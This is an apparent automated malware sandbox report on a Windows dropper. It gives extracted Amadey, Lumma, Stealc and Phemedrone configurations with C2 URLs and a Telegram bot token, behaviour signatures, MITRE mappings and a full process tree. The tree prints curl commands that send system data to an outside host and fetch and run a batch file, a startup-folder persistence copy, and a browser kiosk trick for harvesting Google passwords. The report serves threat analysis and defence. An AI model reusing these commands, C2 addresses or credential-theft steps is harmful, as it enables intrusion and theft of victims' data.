Overview

overview

10

Static

static

3

d25e1e0457...ed.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-12-2024 16:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    d25e1e0457e49f45cbfd43e3038fca85a7b1d5b6b90ff506ce82a346016174ed.exe

  • Size

    7.0MB

  • MD5

    efa400b9a0279efb4a784a071031ea30

  • SHA1

    f94215b10040f2c4ef352273e94e2173de708c8b

  • SHA256

    d25e1e0457e49f45cbfd43e3038fca85a7b1d5b6b90ff506ce82a346016174ed

  • SHA512

    83bd505d7a121cb98c05b09fa102e0e15dff10bd135ca2d1d9289095e30425b041615d2ae13fcdf41aa0809f9bed8799897574e4eb24133e87778138efc0bd41

  • SSDEEP

    98304:eIfgMaIDhyxjMQyaAyaWwCYmAwNQko9vAxdgRCsGEm5zCv5EdPLzichkijAFIPdH:HPaIDHQzaXCYCoIxkmIhmPvPsIPC/3h

Score
10/10
amadeygcleanerlummaphemedronestealc9c9aa5stokcredential_accessdiscoveryevasionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

C2

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

https://tacitglibbr.biz/api

https://impend-differ.biz/api

https://print-vexer.biz/api

https://dare-curbys.biz/api

https://covery-mover.biz/api

https://formy-spill.biz/api

https://dwell-exclaim.biz/api

https://zinc-sneark.biz/api

https://se-blurry.biz/api

https://drive-connect.cyou/api

Extracted

Family

stealc

Botnet

stok

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot7748267151:AAHJX2M4rJ5MRUvgJ9XqTgoOgAd1r_j9htM/sendDocument

Extracted

Family

lumma

C2

https://tacitglibbr.biz/api

https://immureprech.biz/api

https://deafeninggeh.biz/api

https://effecterectz.xyz/api

https://diffuculttan.xyz/api

https://debonairnukk.xyz/api

https://wrathful-jammy.cyou/api

https://awake-weaves.cyou/api

https://sordid-snaked.cyou/api

https://drive-connect.cyou/api

https://covery-mover.biz/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs
    evasiontrojan
  • Phemedrone

    An information and wallet stealer written in C#.

    stealerphemedrone
  • Phemedrone family
    phemedrone
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs
    evasion
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 26 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 23 IoCs
  • Identifies Wine through registry keys 2 TTPs 13 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 3 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 36 IoCs
  • Suspicious use of SendNotifyMessage 34 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\d25e1e0457e49f45cbfd43e3038fca85a7b1d5b6b90ff506ce82a346016174ed.exe
    "C:\Users\Admin\AppData\Local\Temp\d25e1e0457e49f45cbfd43e3038fca85a7b1d5b6b90ff506ce82a346016174ed.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:636
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h6n02.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\h6n02.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:216
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\D8c88.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\D8c88.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1F16f1.exe
          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1F16f1.exe
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:752
          • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
            "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4364
            • C:\Users\Admin\AppData\Local\Temp\1013967001\jd5fvXs.exe
              "C:\Users\Admin\AppData\Local\Temp\1013967001\jd5fvXs.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4512
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1013967001\jd5fvXs.exe" & rd /s /q "C:\ProgramData\6X4ECT0ZMOZU" & exit
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:560
                • C:\Windows\SysWOW64\timeout.exe
                  timeout /t 10
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:1772
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4512 -s 2184
                7⤵
                • Program crash
                PID:3924
            • C:\Users\Admin\AppData\Local\Temp\1014031001\IGEaNGi.exe
              "C:\Users\Admin\AppData\Local\Temp\1014031001\IGEaNGi.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4360
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 2296
                7⤵
                • Program crash
                PID:3340
            • C:\Users\Admin\AppData\Local\Temp\1014060001\7b9b8aafbb.exe
              "C:\Users\Admin\AppData\Local\Temp\1014060001\7b9b8aafbb.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3324
              • C:\Users\Admin\AppData\Local\Temp\1014060001\7b9b8aafbb.exe
                "C:\Users\Admin\AppData\Local\Temp\1014060001\7b9b8aafbb.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3364
            • C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe
              "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:1068
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1216
                • C:\Windows\SysWOW64\systeminfo.exe
                  systeminfo
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Gathers system information
                  PID:2448
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  8⤵
                  • Enumerates processes with tasklist
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3008
              • C:\Windows\SysWOW64\curl.exe
                curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F53504445424A57482F41646D696E2F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:4600
              • C:\Windows\SysWOW64\curl.exe
                curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F53504445424A57482F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:4036
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c type "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
                7⤵
                • Drops startup file
                • System Location Discovery: System Language Discovery
                PID:2392
              • C:\Windows\SysWOW64\curl.exe
                curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F53504445424A57482F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:640
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
                7⤵
                • System Location Discovery: System Language Discovery
                PID:412
              • C:\Windows\SysWOW64\curl.exe
                curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F53504445424A57482F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:832
            • C:\Users\Admin\AppData\Local\Temp\1014087001\881109f6d1.exe
              "C:\Users\Admin\AppData\Local\Temp\1014087001\881109f6d1.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:5008
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 780
                7⤵
                • Program crash
                PID:5336
            • C:\Users\Admin\AppData\Local\Temp\1014088001\2dca375482.exe
              "C:\Users\Admin\AppData\Local\Temp\1014088001\2dca375482.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:1936
              • C:\Users\Admin\AppData\Local\Temp\1014088001\2dca375482.exe
                "C:\Users\Admin\AppData\Local\Temp\1014088001\2dca375482.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2328
            • C:\Users\Admin\AppData\Local\Temp\1014089001\47b48c99d8.exe
              "C:\Users\Admin\AppData\Local\Temp\1014089001\47b48c99d8.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4656
            • C:\Users\Admin\AppData\Local\Temp\1014090001\c6bc25ac61.exe
              "C:\Users\Admin\AppData\Local\Temp\1014090001\c6bc25ac61.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3548
            • C:\Users\Admin\AppData\Local\Temp\1014091001\097b2d7f7b.exe
              "C:\Users\Admin\AppData\Local\Temp\1014091001\097b2d7f7b.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:3044
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:856
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4720
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5072
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2808
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1644
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                7⤵
                  PID:992
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    8⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    • Suspicious use of SetWindowsHookEx
                    PID:1304
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2076 -parentBuildID 20240401114208 -prefsHandle 1996 -prefMapHandle 1988 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {655e146d-560c-4c94-b5e1-e71532a6cbea} 1304 "\\.\pipe\gecko-crash-server-pipe.1304" gpu
                      9⤵
                        PID:3364
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2508 -parentBuildID 20240401114208 -prefsHandle 2500 -prefMapHandle 2496 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {29c191b2-0439-4acc-8214-32a3ee7b2810} 1304 "\\.\pipe\gecko-crash-server-pipe.1304" socket
                        9⤵
                          PID:4344
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3056 -childID 1 -isForBrowser -prefsHandle 3068 -prefMapHandle 3064 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {09b84d84-e7ec-451e-b25b-95d9a014701b} 1304 "\\.\pipe\gecko-crash-server-pipe.1304" tab
                          9⤵
                            PID:2864
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4160 -childID 2 -isForBrowser -prefsHandle 4152 -prefMapHandle 2796 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {237609ca-3fd2-42bf-95d0-142327e33dcd} 1304 "\\.\pipe\gecko-crash-server-pipe.1304" tab
                            9⤵
                              PID:4068
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4784 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4872 -prefMapHandle 4868 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {40280ca4-e811-4493-9f18-53844a0e6597} 1304 "\\.\pipe\gecko-crash-server-pipe.1304" utility
                              9⤵
                              • Checks processor information in registry
                              PID:6148
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5340 -childID 3 -isForBrowser -prefsHandle 5220 -prefMapHandle 5288 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {961dc665-bcd4-4c20-9ff3-6218bd22625f} 1304 "\\.\pipe\gecko-crash-server-pipe.1304" tab
                              9⤵
                                PID:244
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5456 -childID 4 -isForBrowser -prefsHandle 5536 -prefMapHandle 5532 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {84aa327b-6599-47eb-bc29-1085d819e299} 1304 "\\.\pipe\gecko-crash-server-pipe.1304" tab
                                9⤵
                                  PID:6564
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5660 -childID 5 -isForBrowser -prefsHandle 5736 -prefMapHandle 5732 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f7f7d53-bbd2-4991-8ad9-ba7f01ea7346} 1304 "\\.\pipe\gecko-crash-server-pipe.1304" tab
                                  9⤵
                                    PID:2348
                            • C:\Users\Admin\AppData\Local\Temp\1014092001\9796d61175.exe
                              "C:\Users\Admin\AppData\Local\Temp\1014092001\9796d61175.exe"
                              6⤵
                              • Modifies Windows Defender Real-time Protection settings
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Windows security modification
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:992
                            • C:\Users\Admin\AppData\Local\Temp\1014093001\9025d3353b.exe
                              "C:\Users\Admin\AppData\Local\Temp\1014093001\9025d3353b.exe"
                              6⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:5532
                        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2G5656.exe
                          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2G5656.exe
                          4⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1168
                      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3e05g.exe
                        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3e05g.exe
                        3⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3160
                    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4f675h.exe
                      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4f675h.exe
                      2⤵
                      • Modifies Windows Defender Real-time Protection settings
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Windows security modification
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1716
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4512 -ip 4512
                    1⤵
                      PID:3800
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4360 -ip 4360
                      1⤵
                        PID:1500
                      • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                        C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                        1⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Identifies Wine through registry keys
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2260
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5008 -ip 5008
                        1⤵
                          PID:5316
                        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          1⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4556
                        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          1⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: EnumeratesProcesses
                          PID:6828

                        Network

                        MITRE ATT&CK Enterprise v15

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        1
                        T1543

                        Windows Service

                        1
                        T1543.003

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        1
                        T1543

                        Windows Service

                        1
                        T1543.003

                        Defense Evasion

                        Impair Defenses

                        2
                        T1562

                        Disable or Modify Tools

                        2
                        T1562.001

                        Modify Registry

                        3
                        T1112

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        3
                        T1552

                        Credentials In Files

                        3
                        T1552.001

                        Discovery

                        Process Discovery

                        1
                        T1057

                        Query Registry

                        7
                        T1012

                        System Information Discovery

                        5
                        T1082

                        System Location Discovery

                        1
                        T1614

                        System Language Discovery

                        1
                        T1614.001

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Lateral Movement

                        Collection

                        Data from Local System

                        2
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\WQOY74U4\download[1].htm
                          Filesize

                          1B

                          MD5

                          cfcd208495d565ef66e7dff9f98764da

                          SHA1

                          b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                          SHA256

                          5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                          SHA512

                          31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\7fmsgkth.default-release\activity-stream.discovery_stream.json
                          Filesize

                          19KB

                          MD5

                          1c7d80ad2c7cb70b9adb985d816c31ed

                          SHA1

                          37302af291f90eab0baa3d0d330dd81bf88010ff

                          SHA256

                          b23dddba988f7d098bde1c3e3195fbbd8e3e8d949162e7ccf9e49f83abdce16a

                          SHA512

                          4ffdee97de87d79e02e546f1684c258187ea7cafa3265efd34b5a4797717b18b3e5b23e8bd6b98ddfa049c32adc9a9d357af15c59a3cfe926cd484c68d24094e

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\7fmsgkth.default-release\cache2\entries\92F4D5A4F9CED6E2E644D803AEE3647A0EA4D984
                          Filesize

                          13KB

                          MD5

                          6cd60688c7e7d4ac82b6d376d59caa38

                          SHA1

                          3ff14887673365c3021a75bf9c69a5887afa05e6

                          SHA256

